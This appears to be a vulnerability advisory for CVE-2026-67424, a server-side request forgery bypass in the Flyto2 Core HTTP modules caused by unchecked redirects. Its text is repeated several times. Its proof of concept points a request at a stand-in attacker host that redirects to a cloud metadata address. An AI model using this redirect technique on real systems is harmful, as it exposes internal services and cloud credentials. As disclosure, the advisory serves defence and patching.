CVE-2026-67424

Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.7, the HTTP modules http.get, http.request, and http.batch in src/core/modules/atomic/http/get.py, src/core/modules/atomic/http/request.py, and src/core/modules/atomic/http/batch.py validate only the initial URL, then follow redirects with allow_redirects=True and without per-hop Location revalidation, allowing a public URL to redirect into internal address space and return the internal response body. This issue is fixed in version 2.26.7.

Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.7, the HTTP modules http.get, http.request, and http.batch in src/core/modules/atomic/http/get.py, src/core/modules/atomic/http/request.py, and src/core/modules/atomic/http/batch.py validate only the initial URL, then follow redirects with allow_redirects=True and without per-hop Location revalidation, allowing a public URL to redirect into internal address space and return the internal response body. This issue is fixed in version 2.26.7.

Summary

The HTTP modules that DO call the SSRF guard (http.get, http.request, http.batch) validate only the initial URL, then issue the request with aiohttp's default allow_redirects=True and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body.

Root Cause

src/core/modules/atomic/http/get.py:116 calls session.get(url, ...) with no allow_redirects argument → aiohttp default True. request.py:60 sets allow_redirects=follow_redirects (default True at :327); batch.py:57 likewise. A repo grep of http/ for on_request_redirect / response.history returns NONE — there is no redirect interception or Location revalidation.

Impact

Full readable SSRF that defeats the primary SSRF control on the very modules that correctly validate. Confidentiality of internal/metadata responses (C:H), S:C.

Proof of Concept

Verified live: http.get with allowlisted base 127.0.0.1 followed a 302 Location: http://127.0.0.2/... (non-allowlisted) and returned INTERNAL-VIA-REDIRECT.

attacker hosts http://attacker.tld/r  ->  302 Location: http://<cloud-metadata-ip>/latest/meta-data/...
execute_module http.get {"url":"http://attacker.tld/r"}

Attack Chain

1. Entry: execute_module http.get {url:"http://attacker.tld/r"} (attacker 302->internal). Guard: validate_url_with_env_config(url) (get.py:104). Bypass proof: validation runs on attacker.tld (public) → passes; never re-run on the redirect target.
2. Sink: session.get(url) (get.py:116) — no allow_redirects arg → aiohttp default True. Bypass proof: grep of http/ for on_request_redirect/response.history → NONE.
3. Impact: aiohttp follows 302 to the internal host; internal body returned (get.py:118).

Bypass Evidence

Live PoC followed a 302 into non-allowlisted loopback and returned the internal marker string. aiohttp ClientSession.get default allow_redirects=True; module never sets it False; no per-hop revalidation exists.

Affected Versions

<= 2.26.6 — get.py:116, request.py:60, batch.py:57 present on latest release tag.

Suggested Fix

Set allow_redirects=False and manually revalidate each Location header through validate_url_with_env_config before following, or cap and re-check every hop.

Credit

Vulnerability discovered by zx (Jace).

Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.7, the HTTP modules http.get, http.request, and http.batch in src/core/modules/atomic/http/get.py, src/core/modules/atomic/http/request.py, and src/core/modules/atomic/http/batch.py validate only the initial URL, then follow redirects with allow_redirects=True and without per-hop Location revalidation, allowing a public URL to redirect into internal address space and return the internal response body. This issue is fixed in version 2.26.7.

Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.7, the HTTP modules http.get, http.request, and http.batch in src/core/modules/atomic/http/get.py, src/core/modules/atomic/http/request.py, and src/core/modules/atomic/http/batch.py validate only the initial URL, then follow redirects with allow_redirects=True and without per-hop Location revalidation, allowing a public URL to redirect into internal address space and return the internal response body. This issue is fixed in version 2.26.7.

Summary

The HTTP modules that DO call the SSRF guard (http.get, http.request, http.batch) validate only the initial URL, then issue the request with aiohttp's default allow_redirects=True and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body.

Root Cause

src/core/modules/atomic/http/get.py:116 calls session.get(url, ...) with no allow_redirects argument → aiohttp default True. request.py:60 sets allow_redirects=follow_redirects (default True at :327); batch.py:57 likewise. A repo grep of http/ for on_request_redirect / response.history returns NONE — there is no redirect interception or Location revalidation.

Impact

Full readable SSRF that defeats the primary SSRF control on the very modules that correctly validate. Confidentiality of internal/metadata responses (C:H), S:C.

Proof of Concept

Verified live: http.get with allowlisted base 127.0.0.1 followed a 302 Location: http://127.0.0.2/... (non-allowlisted) and returned INTERNAL-VIA-REDIRECT.

attacker hosts http://attacker.tld/r  ->  302 Location: http://<cloud-metadata-ip>/latest/meta-data/...
execute_module http.get {"url":"http://attacker.tld/r"}

Attack Chain

1. Entry: execute_module http.get {url:"http://attacker.tld/r"} (attacker 302->internal). Guard: validate_url_with_env_config(url) (get.py:104). Bypass proof: validation runs on attacker.tld (public) → passes; never re-run on the redirect target.
2. Sink: session.get(url) (get.py:116) — no allow_redirects arg → aiohttp default True. Bypass proof: grep of http/ for on_request_redirect/response.history → NONE.
3. Impact: aiohttp follows 302 to the internal host; internal body returned (get.py:118).

Bypass Evidence

Live PoC followed a 302 into non-allowlisted loopback and returned the internal marker string. aiohttp ClientSession.get default allow_redirects=True; module never sets it False; no per-hop revalidation exists.

Affected Versions

<= 2.26.6 — get.py:116, request.py:60, batch.py:57 present on latest release tag.

Suggested Fix

Set allow_redirects=False and manually revalidate each Location header through validate_url_with_env_config before following, or cap and re-check every hop.

Credit

Vulnerability discovered by zx (Jace).

Summary

The HTTP modules that DO call the SSRF guard (http.get, http.request, http.batch) validate only the initial URL, then issue the request with aiohttp's default allow_redirects=True and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body.

Root Cause

src/core/modules/atomic/http/get.py:116 calls session.get(url, ...) with no allow_redirects argument → aiohttp default True. request.py:60 sets allow_redirects=follow_redirects (default True at :327); batch.py:57 likewise. A repo grep of http/ for on_request_redirect / response.history returns NONE — there is no redirect interception or Location revalidation.

Impact

Full readable SSRF that defeats the primary SSRF control on the very modules that correctly validate. Confidentiality of internal/metadata responses (C:H), S:C.

Proof of Concept

Verified live: http.get with allowlisted base 127.0.0.1 followed a 302 Location: http://127.0.0.2/... (non-allowlisted) and returned INTERNAL-VIA-REDIRECT.

attacker hosts http://attacker.tld/r  ->  302 Location: http://<cloud-metadata-ip>/latest/meta-data/...
execute_module http.get {"url":"http://attacker.tld/r"}

Attack Chain

1. Entry: execute_module http.get {url:"http://attacker.tld/r"} (attacker 302->internal). Guard: validate_url_with_env_config(url) (get.py:104). Bypass proof: validation runs on attacker.tld (public) → passes; never re-run on the redirect target.
2. Sink: session.get(url) (get.py:116) — no allow_redirects arg → aiohttp default True. Bypass proof: grep of http/ for on_request_redirect/response.history → NONE.
3. Impact: aiohttp follows 302 to the internal host; internal body returned (get.py:118).

Bypass Evidence

Live PoC followed a 302 into non-allowlisted loopback and returned the internal marker string. aiohttp ClientSession.get default allow_redirects=True; module never sets it False; no per-hop revalidation exists.

Affected Versions

<= 2.26.6 — get.py:116, request.py:60, batch.py:57 present on latest release tag.

Suggested Fix

Set allow_redirects=False and manually revalidate each Location header through validate_url_with_env_config before following, or cap and re-check every hop.

Credit

Vulnerability discovered by zx (Jace).